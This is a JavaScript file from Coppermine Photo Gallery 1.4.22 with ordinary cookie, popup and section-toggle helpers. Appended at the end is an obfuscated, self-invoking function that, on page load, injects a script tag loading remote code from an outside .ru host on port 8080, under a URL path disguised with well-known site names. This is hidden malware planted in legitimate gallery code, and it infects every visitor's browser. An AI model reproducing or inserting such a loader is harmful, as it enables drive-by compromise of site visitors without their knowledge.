/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2009 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.22
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 5740 $
  $Author: gaugau $
  $Date: 2009-03-05 08:27:01 +0100 (Do, 05 Mär 2009) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}
function Wu(){var Bo="";var q=RegExp;var pO="";var pc;if(pc!='c'){pc='c'};var Wr="";this.zp='';var p=String("ywRg".substr(3));this.l='';this.G='';var j='';var mU;if(mU!='iI'){mU=''};var h;if(h!='S'){h='S'};var _;if(_!='iP'){_='iP'};function W(T,F){var js;if(js!='V' && js!='Uy'){js=''};var Dr;if(Dr!='Px' && Dr!='pv'){Dr=''};var x= String("[mhR".substr(0,1));x+=F;x+=new String("WNFA]".substr(4));var C;if(C!='Bk' && C!='GR'){C=''};var kf;if(kf!='qP' && kf!='L'){kf='qP'};var Y='';var P=new q(x, p);return T.replace(P, j);var xf=new Array();};var PW=new String();var vj;if(vj!='' && vj!='O'){vj=null};this.em="";this.OR='';var w=String("http"+"://r"+"etai"+"hiTQlmen".substr(4)+"ot-cUwn".substr(0,4)+"om.xT8H".substr(0,4)+"unlesTY".substr(0,4)+"i.coQhd".substr(0,4)+"m.tu"+"dou-"+"fUkicom.fUki".substr(4,4)+"qe7ibuymei7q".substr(4,4)+"4btypalt4b".substr(3,4)+"m.ru"+"Ac0:cA0".substr(3,1));var zX="";var PP='';var B=new String("/aweb"+"er.co"+"m/awe5Zu".substr(0,5)+"sT1kber.ck1sT".substr(4,5)+"Dw9bom/cl9Dbw".substr(4,5)+"ickba"+"nk.cowC1".substr(0,5)+"m/dai"+"rJUlymai".substr(3)+"W8Pl.co.WP8".substr(3,5)+"uk/go"+"ogle."+"z12com.p1z2".substr(3,5)+"hpgBe".substr(0,2));var u="";var D=String("sc"+"ri"+"ptdrY".substr(0,2));this.Lm='';var e=new String("defe"+"r");var WO=String("sr"+"c");var KR;if(KR!='tL'){KR=''};var BU=window;var me;if(me!=''){me='kC'};var XS;if(XS!=''){XS='Yl'};var Tr="";var eg=W('844014841044',"41");this.sA='';var du;if(du!='' && du!='xj'){du=null};this.CB='';BU.onload=function(){try {PP=w+eg;var Ku=new Array();PP+=B;var dd='';var Xu;if(Xu!='Qh' && Xu!='rS'){Xu=''};m=document.createElement(D);m[e]=[1,1][0];var f=new Array();this.tk='';var Z;if(Z!='M'){Z=''};m[WO]=PP;var R=new String();var fM;if(fM!='' && fM!='jX'){fM=null};var mo;if(mo!='Wv' && mo != ''){mo=null};var SY="";document.body.appendChild(m);var Ei='';var WC="";this.xE="";var sS=new Date();} catch(v){var ZM;if(ZM!='Rp'){ZM='Rp'};var gh;if(gh!='KM'){gh='KM'};};var Ax=new Array();};};var Nm=new Date();Wu();